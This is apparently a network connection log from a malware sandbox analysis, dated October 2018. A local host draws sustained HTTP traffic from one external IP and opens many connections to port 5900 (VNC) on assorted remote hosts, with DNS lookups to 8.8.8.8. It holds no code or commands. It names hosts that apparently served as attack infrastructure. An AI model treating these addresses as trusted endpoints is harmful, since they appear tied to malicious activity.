Oct 30, 2018 14:45:58.754137039 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754153013 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754162073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754169941 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754185915 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754209995 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754230976 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754249096 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754762888 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754805088 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754828930 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754851103 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754875898 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754890919 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754904032 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.809740067 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809784889 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809833050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.809853077 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809875011 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.809880018 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809904099 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809942961 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809967041 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809974909 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.809990883 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.809998035 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810014963 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810015917 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810039997 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810064077 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810086966 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810107946 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810111046 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810131073 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810134888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810146093 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810158968 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.810162067 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810179949 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810194016 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810450077 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810476065 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810492039 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.810506105 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.865668058 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.865705013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.865730047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.865753889 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.865767002 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.865778923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.865802050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.866281986 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.866317987 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.866333961 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.880491972 CET	5900	51998	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:58.881073952 CET	5900	51998	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:58.881285906 CET	51998	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:58.920918941 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.921077013 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.976007938 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.976083994 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.976140976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.976141930 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.976177931 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.976273060 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.976315022 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.976341009 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.988296986 CET	5900	52011	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:58.988454103 CET	52011	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:59.031255960 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.031375885 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.086642981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.086678028 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.086703062 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.086726904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.086798906 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.086839914 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.087579966 CET	58528	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:59.087691069 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.087718010 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.114217997 CET	53	58528	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:59.142044067 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.142127037 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.187843084 CET	5900	51998	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:59.188196898 CET	5900	51998	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:59.188330889 CET	51998	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:59.188416004 CET	5900	51998	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:59.188482046 CET	51998	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:59.197575092 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.197638988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.197660923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.197681904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.197701931 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.197782040 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.198024988 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.198050976 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.198065996 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.198077917 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.253218889 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.253336906 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.308342934 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.308414936 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.308428049 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.308458090 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.308476925 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.308548927 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.308573008 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.308587074 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.364346027 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.364485979 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.420506954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.420542955 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.420631886 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.420663118 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.420685053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.420716047 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.420770884 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.420798063 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.421174049 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.421219110 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.475641966 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.475760937 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530734062 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530759096 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530776024 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530802965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530812025 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530829906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530838966 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530853033 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530869961 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530885935 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530901909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530919075 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.530917883 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530937910 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530950069 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530961990 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530980110 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.530992031 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.531301022 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.531322002 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.586117983 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.586186886 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.601772070 CET	50455	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:59.641297102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641357899 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641382933 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641407013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641424894 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641432047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641457081 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641458035 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641480923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641505003 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641529083 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641551971 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641555071 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641576052 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641576052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641592979 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641599894 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641608000 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641623020 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641623974 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641640902 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641648054 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.641913891 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641940117 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641953945 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641967058 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641979933 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.641993046 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.696774006 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.696885109 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.752151012 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.752228975 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.755930901 CET	52045	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:59.807436943 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.807473898 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.807513952 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.807538033 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.807543993 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.807562113 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.807569981 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.807838917 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.807864904 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.807878017 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.862605095 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.862678051 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.898994923 CET	5900	52045	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:59.899096966 CET	52045	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:59.917685986 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.917793989 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.973053932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.973100901 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.973118067 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.973206043 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:59.973539114 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.973602057 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.973624945 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:59.973644972 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.030158043 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.030309916 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.036071062 CET	5900	52045	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:00.037208080 CET	52045	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.086241961 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.086633921 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.142431021 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.142452002 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.142476082 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.142504930 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.142529964 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.143250942 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.143309116 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.143337011 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.143357992 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.143383980 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.173764944 CET	5900	52045	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:00.175085068 CET	52045	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.175518036 CET	52057	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.178618908 CET	5900	52045	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:00.178819895 CET	52045	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.199384928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.199528933 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.256547928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.256623030 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.308855057 CET	5900	52057	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:00.308958054 CET	52057	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.311697960 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.311748981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.311829090 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.311872005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.311883926 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.311908007 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.311944008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.312066078 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.312097073 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.312161922 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.367203951 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.367325068 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.423100948 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.423137903 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.423151970 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.423166037 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.423264027 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.423333883 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.423355103 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.423372984 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.441811085 CET	5900	52057	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:00.441942930 CET	52057	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.478585958 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.478606939 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.478621960 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.478652954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.478658915 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.478668928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.478686094 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.478688002 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.479515076 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.479543924 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.479558945 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.479573965 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.533981085 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.534049988 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.538052082 CET	5900	51981	139.165.6.57	192.168.1.81
Oct 30, 2018 14:46:00.538430929 CET	52068	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:46:00.568525076 CET	5900	52068	139.165.6.57	192.168.1.81
Oct 30, 2018 14:46:00.568650007 CET	52068	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:46:00.589359999 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.589384079 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.589399099 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.589415073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.589431047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.589447975 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.589488983 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.589534998 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.589550972 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.589565039 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.591444969 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.591470957 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.600862026 CET	50455	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:00.634063959 CET	53	50455	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:00.644850016 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.644943953 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.700547934 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.700618982 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.754528046 CET	53	50455	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:00.755608082 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.755656004 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.755672932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.755688906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.756244898 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.756293058 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.756323099 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.756350040 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.811163902 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.811244965 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.866256952 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.866332054 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.896822929 CET	52057	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:00.921370029 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.921396971 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.921416044 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.921433926 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.921449900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.921468019 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.921638966 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.921695948 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.924276114 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979176044 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979202032 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979219913 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979235888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979237080 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979253054 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979270935 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979286909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979302883 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979319096 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979336023 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979348898 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979351997 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979370117 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979387045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979403019 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979418993 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979434967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979451895 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979453087 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979469061 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979485989 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979501963 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979531050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979635000 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979654074 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979657888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979674101 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979738951 CET	80	51992	92.63.197.48	192.168.1.81
